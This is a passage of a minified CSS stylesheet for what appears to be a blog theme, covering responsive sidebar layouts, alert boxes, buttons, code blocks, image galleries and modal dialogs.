ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc,#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:inline-block;width:auto;height:35px;line-height:35px;font-size:1.5rem;letter-spacing:.3px;vertical-align:middle}#sidebar[data-behavior="1"].pushed,#sidebar[data-behavior="2"].pushed,#sidebar[data-behavior="4"].pushed,#sidebar[data-behavior="5"].pushed{margin-left:250px}#sidebar[data-behavior="3"],#sidebar[data-behavior="6"]{left:-75px;width:75px;-webkit-transition:margin-left .5s;-moz-transition:margin-left .5s;transition:margin-left .5s}#sidebar[data-behavior="3"] .sidebar-profile .sidebar-profile-picture,#sidebar[data-behavior="6"] .sidebar-profile .sidebar-profile-picture{width:30px;height:30px;line-height:30px;vertical-align:middle;border-radius:30px}#sidebar[data-behavior="3"] .sidebar-profile .sidebar-profile-name,#sidebar[data-behavior="6"] .sidebar-profile .sidebar-profile-name{display:none}#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button,#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button{text-align:center}#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link,#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:center;width:100%}#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon,#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;display:inline-block;text-align:center;width:30px;height:30px;line-height:30px;padding-top:0;vertical-align:middle}#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc,#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:none}#sidebar[data-behavior="3"].pushed,#sidebar[data-behavior="6"].pushed{margin-left:75px}}@media only screen and (min-width:768px) and (max-width:1023px){#sidebar[data-behavior="1"],#sidebar[data-behavior="2"],#sidebar[data-behavior="3"]{width:75px;-webkit-transition:margin-left .5s;-moz-transition:margin-left .5s;transition:margin-left .5s}#sidebar[data-behavior="1"] .sidebar-profile .sidebar-profile-picture,#sidebar[data-behavior="2"] .sidebar-profile .sidebar-profile-picture,#sidebar[data-behavior="3"] .sidebar-profile .sidebar-profile-picture{width:30px;height:30px;line-height:30px;vertical-align:middle;border-radius:30px}#sidebar[data-behavior="1"] .sidebar-profile .sidebar-profile-name,#sidebar[data-behavior="2"] .sidebar-profile .sidebar-profile-name,#sidebar[data-behavior="3"] .sidebar-profile .sidebar-profile-name{display:none}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button,#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button,#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button{text-align:center}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link,#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link,#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:center;width:100%}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon,#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon,#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;display:inline-block;text-align:center;width:30px;height:30px;line-height:30px;padding-top:0;vertical-align:middle}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc,#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc,#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:none}#sidebar[data-behavior="1"].pushed,#sidebar[data-behavior="2"].pushed,#sidebar[data-behavior="3"].pushed{margin-left:75px}#sidebar[data-behavior="4"],#sidebar[data-behavior="5"]{left:-250px;width:250px;-webkit-transition:margin-left .5s;-moz-transition:margin-left .5s;transition:margin-left .5s}#sidebar[data-behavior="4"] .sidebar-profile,#sidebar[data-behavior="5"] .sidebar-profile{height:130px;padding-top:40px;padding-bottom:7.5px}#sidebar[data-behavior="4"] .sidebar-profile .sidebar-profile-picture,#sidebar[data-behavior="5"] .sidebar-profile .sidebar-profile-picture{width:90px;height:90px;border-radius:90px;margin-bottom:5px}#sidebar[data-behavior="4"] .sidebar-profile .sidebar-profile-name,#sidebar[data-behavior="5"] .sidebar-profile .sidebar-profile-name{font-size:1.6rem}#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button,#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button{text-align:left}#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link,#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:left;width:auto;padding-left:23px;padding-top:0}#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon,#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;display:inline-block;text-align:center;width:30px;height:30px;line-height:30px;padding-top:0;vertical-align:middle;margin-right:15px}#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc,#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:inline-block;width:auto;height:35px;line-height:35px;font-size:1.5rem;letter-spacing:.3px;vertical-align:middle}#sidebar[data-behavior="4"].pushed,#sidebar[data-behavior="5"].pushed{margin-left:250px}#sidebar[data-behavior="6"]{left:-75px;width:75px;-webkit-transition:margin-left .5s;-moz-transition:margin-left .5s;transition:margin-left .5s}#sidebar[data-behavior="6"] .sidebar-profile .sidebar-profile-picture{width:30px;height:30px;line-height:30px;vertical-align:middle;border-radius:30px}#sidebar[data-behavior="6"] .sidebar-profile .sidebar-profile-name{display:none}#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button{text-align:center}#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:center;width:100%}#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;display:inline-block;text-align:center;width:30px;height:30px;line-height:30px;padding-top:0;vertical-align:middle}#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:none}#sidebar[data-behavior="6"].pushed{margin-left:75px}}@media only screen and (min-width:1024px) and (max-width:1279px){#sidebar[data-behavior="1"],#sidebar[data-behavior="2"]{width:250px;-webkit-transition:margin-left .5s;-moz-transition:margin-left .5s;transition:margin-left .5s}#sidebar[data-behavior="1"] .sidebar-profile,#sidebar[data-behavior="2"] .sidebar-profile{height:130px;padding-top:40px;padding-bottom:7.5px}#sidebar[data-behavior="1"] .sidebar-profile .sidebar-profile-picture,#sidebar[data-behavior="2"] .sidebar-profile .sidebar-profile-picture{width:90px;height:90px;border-radius:90px;margin-bottom:5px}#sidebar[data-behavior="1"] .sidebar-profile .sidebar-profile-name,#sidebar[data-behavior="2"] .sidebar-profile .sidebar-profile-name{font-size:1.6rem}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button,#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button{text-align:left}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link,#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:left;width:auto;padding-left:23px;padding-top:0}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon,#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;display:inline-block;text-align:center;width:30px;height:30px;line-height:30px;padding-top:0;vertical-align:middle;margin-right:15px}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc,#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:inline-block;width:auto;height:35px;line-height:35px;font-size:1.5rem;letter-spacing:.3px;vertical-align:middle}#sidebar[data-behavior="1"].pushed,#sidebar[data-behavior="2"].pushed{margin-left:250px}#sidebar[data-behavior="3"]{width:75px;-webkit-transition:margin-left .5s;-moz-transition:margin-left .5s;transition:margin-left .5s}#sidebar[data-behavior="3"] .sidebar-profile .sidebar-profile-picture{width:30px;height:30px;line-height:30px;vertical-align:middle;border-radius:30px}#sidebar[data-behavior="3"] .sidebar-profile .sidebar-profile-name{display:none}#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button{text-align:center}#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:center;width:100%}#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;display:inline-block;text-align:center;width:30px;height:30px;line-height:30px;padding-top:0;vertical-align:middle}#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:none}#sidebar[data-behavior="3"].pushed{margin-left:75px}#sidebar[data-behavior="4"],#sidebar[data-behavior="5"]{left:-250px;width:250px;-webkit-transition:margin-left .5s;-moz-transition:margin-left .5s;transition:margin-left .5s}#sidebar[data-behavior="4"] .sidebar-profile,#sidebar[data-behavior="5"] .sidebar-profile{height:130px;padding-top:40px;padding-bottom:7.5px}#sidebar[data-behavior="4"] .sidebar-profile .sidebar-profile-picture,#sidebar[data-behavior="5"] .sidebar-profile .sidebar-profile-picture{width:90px;height:90px;border-radius:90px;margin-bottom:5px}#sidebar[data-behavior="4"] .sidebar-profile .sidebar-profile-name,#sidebar[data-behavior="5"] .sidebar-profile .sidebar-profile-name{font-size:1.6rem}#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button,#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button{text-align:left}#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link,#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:left;width:auto;padding-left:23px;padding-top:0}#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon,#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;display:inline-block;text-align:center;width:30px;height:30px;line-height:30px;padding-top:0;vertical-align:middle;margin-right:15px}#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc,#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:inline-block;width:auto;height:35px;line-height:35px;font-size:1.5rem;letter-spacing:.3px;vertical-align:middle}#sidebar[data-behavior="4"].pushed,#sidebar[data-behavior="5"].pushed{margin-left:250px}#sidebar[data-behavior="6"]{left:-75px;width:75px;-webkit-transition:margin-left .5s;-moz-transition:margin-left .5s;transition:margin-left .5s}#sidebar[data-behavior="6"] .sidebar-profile .sidebar-profile-picture{width:30px;height:30px;line-height:30px;vertical-align:middle;border-radius:30px}#sidebar[data-behavior="6"] .sidebar-profile .sidebar-profile-name{display:none}#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button{text-align:center}#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:center;width:100%}#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;display:inline-block;text-align:center;width:30px;height:30px;line-height:30px;padding-top:0;vertical-align:middle}#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:none}#sidebar[data-behavior="6"].pushed{margin-left:75px}}@media only screen and (min-width:1280px){#sidebar[data-behavior="1"]{width:500px;display:-webkit-flex;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:flex;flex-direction:column;justify-content:center;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#sidebar[data-behavior="1"] .sidebar-container{position:relative;padding:0 80px}#sidebar[data-behavior="1"] .sidebar-profile{padding-top:0;padding-bottom:7.5px}#sidebar[data-behavior="1"] .sidebar-profile .sidebar-profile-picture{width:90px;height:90px;border-radius:90px;margin-bottom:5px}#sidebar[data-behavior="1"] .sidebar-profile .sidebar-profile-bio,#sidebar[data-behavior="1"] .sidebar-profile .sidebar-profile-job,#sidebar[data-behavior="1"] .sidebar-profile .sidebar-profile-location{font-weight:400;font-size:1.6rem;color:#ebebeb}#sidebar[data-behavior="1"] .sidebar-profile .sidebar-profile-job,#sidebar[data-behavior="1"] .sidebar-profile .sidebar-profile-location{margin-top:0;width:49%;display:inline-block}#sidebar[data-behavior="1"] ul.sidebar-buttons{width:49%;vertical-align:top;display:inline-block}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button{text-align:left;box-sizing:border-box}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:left;width:auto;padding-top:0;white-space:nowrap}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;float:left;text-align:center;width:30px;height:35px;line-height:35px;padding-top:0;vertical-align:middle;margin-right:15px}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:block;width:auto;height:35px;line-height:35px;font-size:1.5rem;letter-spacing:.3px;vertical-align:middle;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button:nth-child(odd){padding-right:20px}#sidebar[data-behavior="1"].pushed{margin-left:500px}#sidebar[data-behavior="2"]{width:250px;-webkit-transition:margin-left .5s;-moz-transition:margin-left .5s;transition:margin-left .5s}#sidebar[data-behavior="2"] .sidebar-profile{height:130px;padding-top:40px;padding-bottom:7.5px}#sidebar[data-behavior="2"] .sidebar-profile .sidebar-profile-picture{width:90px;height:90px;border-radius:90px;margin-bottom:5px}#sidebar[data-behavior="2"] .sidebar-profile .sidebar-profile-name{font-size:1.6rem}#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button{text-align:left}#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:left;width:auto;padding-left:23px;padding-top:0}#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;display:inline-block;text-align:center;width:30px;height:30px;line-height:30px;padding-top:0;vertical-align:middle;margin-right:15px}#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:inline-block;width:auto;height:35px;line-height:35px;font-size:1.5rem;letter-spacing:.3px;vertical-align:middle}#sidebar[data-behavior="2"].pushed{margin-left:250px}#sidebar[data-behavior="3"]{width:75px;-webkit-transition:margin-left .5s;-moz-transition:margin-left .5s;transition:margin-left .5s}#sidebar[data-behavior="3"] .sidebar-profile .sidebar-profile-picture{width:30px;height:30px;line-height:30px;vertical-align:middle;border-radius:30px}#sidebar[data-behavior="3"] .sidebar-profile .sidebar-profile-name{display:none}#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button{text-align:center}#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:center;width:100%}#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;display:inline-block;text-align:center;width:30px;height:30px;line-height:30px;padding-top:0;vertical-align:middle}#sidebar[data-behavior="3"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:none}#sidebar[data-behavior="3"].pushed{margin-left:75px}#sidebar[data-behavior="4"]{left:-500px;width:500px;display:-webkit-flex;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:flex;flex-direction:column;justify-content:center;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#sidebar[data-behavior="4"] .sidebar-container{position:relative;padding:0 80px}#sidebar[data-behavior="4"] .sidebar-profile{padding-top:0;padding-bottom:7.5px}#sidebar[data-behavior="4"] .sidebar-profile .sidebar-profile-picture{width:90px;height:90px;border-radius:90px;margin-bottom:5px}#sidebar[data-behavior="4"] .sidebar-profile .sidebar-profile-bio,#sidebar[data-behavior="4"] .sidebar-profile .sidebar-profile-job,#sidebar[data-behavior="4"] .sidebar-profile .sidebar-profile-location{font-weight:400;font-size:1.6rem;color:#ebebeb}#sidebar[data-behavior="4"] .sidebar-profile .sidebar-profile-job,#sidebar[data-behavior="4"] .sidebar-profile .sidebar-profile-location{margin-top:0;width:49%;display:inline-block}#sidebar[data-behavior="4"] ul.sidebar-buttons{width:49%;vertical-align:top;display:inline-block}#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button{text-align:left;box-sizing:border-box}#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:left;width:auto;padding-top:0;white-space:nowrap}#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;float:left;text-align:center;width:30px;height:35px;line-height:35px;padding-top:0;vertical-align:middle;margin-right:15px}#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:block;width:auto;height:35px;line-height:35px;font-size:1.5rem;letter-spacing:.3px;vertical-align:middle;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button:nth-child(odd){padding-right:20px}#sidebar[data-behavior="4"].pushed{margin-left:500px}#sidebar[data-behavior="5"]{left:-250px;width:250px;-webkit-transition:margin-left .5s;-moz-transition:margin-left .5s;transition:margin-left .5s}#sidebar[data-behavior="5"] .sidebar-profile{height:130px;padding-top:40px;padding-bottom:7.5px}#sidebar[data-behavior="5"] .sidebar-profile .sidebar-profile-picture{width:90px;height:90px;border-radius:90px;margin-bottom:5px}#sidebar[data-behavior="5"] .sidebar-profile .sidebar-profile-name{font-size:1.6rem}#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button{text-align:left}#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:left;width:auto;padding-left:23px;padding-top:0}#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;display:inline-block;text-align:center;width:30px;height:30px;line-height:30px;padding-top:0;vertical-align:middle;margin-right:15px}#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:inline-block;width:auto;height:35px;line-height:35px;font-size:1.5rem;letter-spacing:.3px;vertical-align:middle}#sidebar[data-behavior="5"].pushed{margin-left:250px}#sidebar[data-behavior="6"]{left:-75px;width:75px;-webkit-transition:margin-left .5s;-moz-transition:margin-left .5s;transition:margin-left .5s}#sidebar[data-behavior="6"] .sidebar-profile .sidebar-profile-picture{width:30px;height:30px;line-height:30px;vertical-align:middle;border-radius:30px}#sidebar[data-behavior="6"] .sidebar-profile .sidebar-profile-name{display:none}#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button{text-align:center}#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:center;width:100%}#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;display:inline-block;text-align:center;width:30px;height:30px;line-height:30px;padding-top:0;vertical-align:middle}#sidebar[data-behavior="6"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc{display:none}#sidebar[data-behavior="6"].pushed{margin-left:75px}#sidebar[data-behavior="2"] .sidebar-profile-bio,#sidebar[data-behavior="3"] .sidebar-profile-bio,#sidebar[data-behavior="5"] .sidebar-profile-bio,#sidebar[data-behavior="6"] .sidebar-profile-bio{display:none}}@media only screen and (max-width:1279px){#sidebar .sidebar-profile-bio{display:none}}@media print{#sidebar{display:none}}.alert{position:relative;text-align:left;padding:10px 15px;min-height:30px;margin:1em 0 0;border:none;border-left:3px solid}.alert p{margin:1.5em 0 0}.alert p:first-child{margin:0}.alert:not(.no-icon){padding-left:55px}.alert:not(.no-icon):before{position:absolute;top:10px;left:15px;font-family:FontAwesome;font-size:2.5rem}.alert.info{border-color:#349ef3;background-color:#e6f3fe}.alert.info:not(.no-icon):before{content:"\f05a";color:#349ef3}.alert.success{border-color:#4dc657;background-color:#effaf0;content:"\f058"}.alert.success:not(.no-icon):before{content:"\f058";color:#4dc657}.alert.warning{border-color:#f5aa0a;background-color:#fdf1d8}.alert.warning:not(.no-icon):before{content:"\f071";color:#f5aa0a}.alert.danger{border-color:#f5311d;background-color:#feecea}.alert.danger:not(.no-icon):before{content:"\f05e";color:#f5311d}.archive-result{display:none}.archive .archive-title{color:#5d686f}.archive .archive-title:hover{text-decoration:underline}.archive .archive-posts{list-style:none}.archive .archive-posts .archive-post .archive-post-title{margin-left:10px;color:#5d686f}.archive .archive-posts .archive-post .archive-post-title:hover{text-decoration:underline}.archive .archive-posts .archive-post .archive-post-date{color:#9eabb3}.archive .archive-posts .archive-post::before{font-family:FontAwesome;content:'\f0da';font-size:1.3rem}.boxes{margin-top:20px}.boxes .box:nth-child(n+2){margin-top:20px}.box{border-bottom:1px solid #eef2f8}.btn{width:auto;height:auto;background:#fff;border-radius:3px;padding:8px 15px;margin:0;letter-spacing:.01em;font-size:1.6rem;cursor:pointer}.btn:active,.btn:focus,.btn:hover{text-decoration:none}.btn--disabled,.btn--disabled:hover{color:#bbc4c9!important;border:1px solid #bbc4c9;cursor:not-allowed;text-decoration:none}.btn--default{color:#9eabb3!important;border:1px solid #9eabb3}.btn--default:hover{color:#738691!important;border:1px solid #738691}.btn--success{color:#4dc657!important;border:1px solid #4dc657}.btn--success:hover{color:#309639!important;border:1px solid #309639}.btn--primary{color:#349ef3!important;border:1px solid #349ef3}.btn--primary:hover{color:#0c78ce!important;border:1px solid #0c78ce}.btn--danger{color:#f5311d!important;border:1px solid #f5311d}.btn--danger:hover{color:#bd1908!important;border:1px solid #bd1908}.btn--medium{font-size:1.5rem;padding:8px 15px}.btn--small{font-size:1.3rem;padding:8px 15px}.caption{display:block;font-family:Merriweather,serif;font-size:1.3rem;color:#81929d;text-align:center;font-style:italic;padding-right:10px;padding-left:10px}.codeblock,figure.highlight{margin:10px 0;line-height:2.3rem;padding-top:15px;padding-bottom:15px;overflow:hidden}.codeblock table,figure.highlight table{display:block;width:100%}.codeblock .code,.codeblock .gutter,.codeblock .tag,.codeblock pre,figure.highlight .code,figure.highlight .gutter,figure.highlight .tag,figure.highlight pre{background-color:inherit;font-family:Menlo,Consolas,monospace;border:none;padding:0;margin:0;cursor:text}.codeblock .code,.codeblock .gutter,figure.highlight .code,figure.highlight .gutter{vertical-align:top}.codeblock.plain .gutter,figure.highlight.plain .gutter{display:none}.codeblock figcaption,figure.highlight figcaption{font-size:1.3rem;padding:0 15px 20px;margin:0}.codeblock figcaption a,figure.highlight figcaption a{float:right}.codeblock .gutter,figure.highlight .gutter{border-right:1px solid;padding:.3em 15px;line-height:2.3rem;font-size:1.4rem}.codeblock .gutter pre,figure.highlight .gutter pre{color:#aaa}.codeblock .code,figure.highlight .code{padding:.3em 15px .3em 1em;width:100%}.codeblock .code pre,figure.highlight .code pre{line-height:2.3rem;font-size:1.4rem;max-width:calc(750px - 50px);overflow-x:auto;overflow-y:hidden}.codeblock .line,figure.highlight .line{height:2.3rem;font-size:1.4rem}.codeblock--tabbed figure.highlight,.codeblock--tabbed pre>code{margin-bottom:0;padding-bottom:0}.codeblock--tabbed figcaption a,.codeblock--tabbed figcaption span{float:left!important}.codeblock--tabbed figcaption .tabs{float:right}.codeblock--tabbed figcaption .tabs .tab{cursor:pointer;display:inline-block;margin:0 5px;padding:0 7px}.codeblock--tabbed figcaption .tabs .tab:last-child{margin-right:0}.gist .line,.gist .line-number{font-family:Menlo,Consolas,monospace;font-size:1em;margin:0 0 5px 0}.figure.clear{clear:both}.figure.center{width:calc(100% - 4px);margin:2px auto}.figure.center .fig-img{margin:2px auto}.figure.fig-20,.figure.fig-25,.figure.fig-33,.figure.fig-50,.figure.fig-75,.figure.left{float:left;margin:2px}.figure.right{float:right;margin:2px}.figure.fig-20{width:calc(20% - 4px)}.figure.fig-25{width:calc(25% - 4px)}.figure.fig-33{width:calc(33.3% - 4px)}.figure.fig-50{width:calc(50% - 4px)}.figure.fig-75{width:calc(75% - 4px)}.figure.fig-100{width:calc(100% - 4px);margin:2px}.figure.figure--fullWidth{width:100%}.figure.figure--fullWidth .figure-img{margin:0 auto}@media only screen and (max-width:767px){.fig-20 .caption,.fig-25 .caption,.fig-33 .caption{display:none}}.form-control{background:0 0;width:100%;border:none;outline:0;color:#5d686f;font-weight:300}.form-control:focus,.form-control:hover{outline:0}.input--large{height:auto;padding:10px 0;font-size:18px;line-height:21px}.input--xlarge{height:auto;padding:10px 0;font-size:25px;line-height:30px}.hide{display:none}@media only screen and (max-width:479px){.hide-xs{display:none}}@media only screen and (min-width:480px) and (max-width:767px){.hide-sm{display:none}}@media only screen and (min-width:768px) and (max-width:1023px){.hide-md{display:none}}@media only screen and (min-width:1024px){.hide-lg{display:none}}.highlight-text{display:inline;padding:3px}.highlight-text.red{background-color:#ffe6e6}.highlight-text.green{background-color:#cdffcd}.highlight-text.blue{background-color:#e6e6ff}.highlight-text.purple{background-color:#ffe6ff}.highlight-text.orange{background-color:#ffedcc}.highlight-text.yellow{background-color:#ffc}.highlight-text.cyan{background-color:#cff}.highlight-text.primary{background-color:#ddeffd}.highlight-text.success{background-color:#d4f1d7}.highlight-text.warning{background-color:#fdeece}.highlight-text.danger{background-color:#fee3e0}.icon-mt{margin-top:10px}.icon-mr{margin-right:10px}.icon-mb{margin-bottom:10px}.icon-ml{margin-left:10px}.image-gallery{display:block;position:relative;height:auto;overflow:hidden;margin-bottom:30px}.image-gallery .image-gallery-metabar{position:absolute;bottom:0;width:calc(100% - (1.5em) * 2);font-family:"Open Sans";font-style:italic;background:rgba(0,0,0,.75);font-size:1.3rem;color:#fff;padding:.5em 1.5em;z-index:1}.image-gallery .image-gallery-photos .photo-box{float:left;position:relative;overflow:hidden;display:none}.image-gallery .image-gallery-photos .photo-box:first-child{display:block;width:100%;padding-bottom:56.25%}.image-gallery .image-gallery-photos .photo-box .photo-box-inner{position:absolute;overflow:hidden}.image-gallery .image-gallery-photos .photo-box .photo-box-inner .photo{width:100%;cursor:-webkit-zoom-in;cursor:-moz-zoom-in}.image-gallery .image-gallery-photos--thumbnail .photo-box{display:block;width:50%;padding-bottom:30%}.image-gallery .image-gallery-photos--thumbnail .photo-box:first-child{width:100%;padding-bottom:40%;margin-bottom:2px}.image-gallery .image-gallery-photos--thumbnail .photo-box:nth-child(2){margin-right:2px;width:calc(50% - 2px)}.image-gallery .image-gallery-photos--thumbnail .photo-box:nth-child(n+4){display:none}a.link-unstyled,a.link-unstyled:active,a.link-unstyled:hover{cursor:pointer!important;color:inherit!important;text-decoration:none!important}a.link-unstyled a.link,a.link-unstyled a.link:active,a.link-unstyled a.link:hover{text-decoration:underline!important}a.fancybox{cursor:zoom-in!important}.main-content-wrap{display:block;max-width:750px;margin:0 auto;padding-right:20px;padding-left:20px}@media only screen and (min-width:1024px){.markdown h1{font-size:3rem}.markdown h2{font-size:2.7rem}.markdown h3{font-size:2.4rem}.markdown h4{font-size:2.1rem}.markdown h5{font-size:1.9rem}.markdown h6{font-size:1.7rem}}@media only screen and (max-width:767px){.markdown h1{font-size:2.65rem}.markdown h2{font-size:2.35rem}.markdown h3{font-size:2.05rem}.markdown h4{font-size:1.75rem}.markdown h5{font-size:1.55rem}.markdown h6{font-size:1.35rem}}@media only screen and (min-width:768px) and (max-width:1023px){.markdown h1{font-size:2.8rem}.markdown h2{font-size:2.5rem}.markdown h3{font-size:2.2rem}.markdown h4{font-size:1.9rem}.markdown h5{font-size:1.7rem}.markdown h6{font-size:1.5rem}}.media-body,.media-left{display:table-cell;vertical-align:top}.media-left{float:left;padding-right:15px}.media-body{width:100%}.media-heading{margin:0 0 -5px}.media-meta{color:#9eabb3}.media-content{color:#5d686f}.modal-container{position:fixed;top:0;left:0;width:100%;height:100%;box-sizing:border-box;z-index:1010}.modal{width:100%;height:100%;max-width:750px;box-sizing:border-box;position:relative;margin:0 auto;padding:0;overflow:hidden}.modal-header{position:relative;padding:10px 15px 0;background:#fff;border-bottom:1px solid #eef2f8}.modal-body{position:relative;padding:0 15px;overflow-y:auto;background:#fff}.modal-footer{height:50px;padding:0 15px;background:#fff;border-top:1px solid #eef2f8}.modal .close-button{position:absolute;top:9px;right:15px;color:#5d686f;cursor:pointer}.overlay{display:none;background:rgba(0,0,0,.5);width:100%;height:100%;position:fixed;top:0;left:0;z-index:1009;overflow:hidden}@media only screen and (min-width:768px){.modal-container{padding:50px 0;left:50%;transform:translateX(-50%)}.modal{border-radius:5px}}.pagination-bar{height:auto;width:100%;height:60px}.pagination-bar 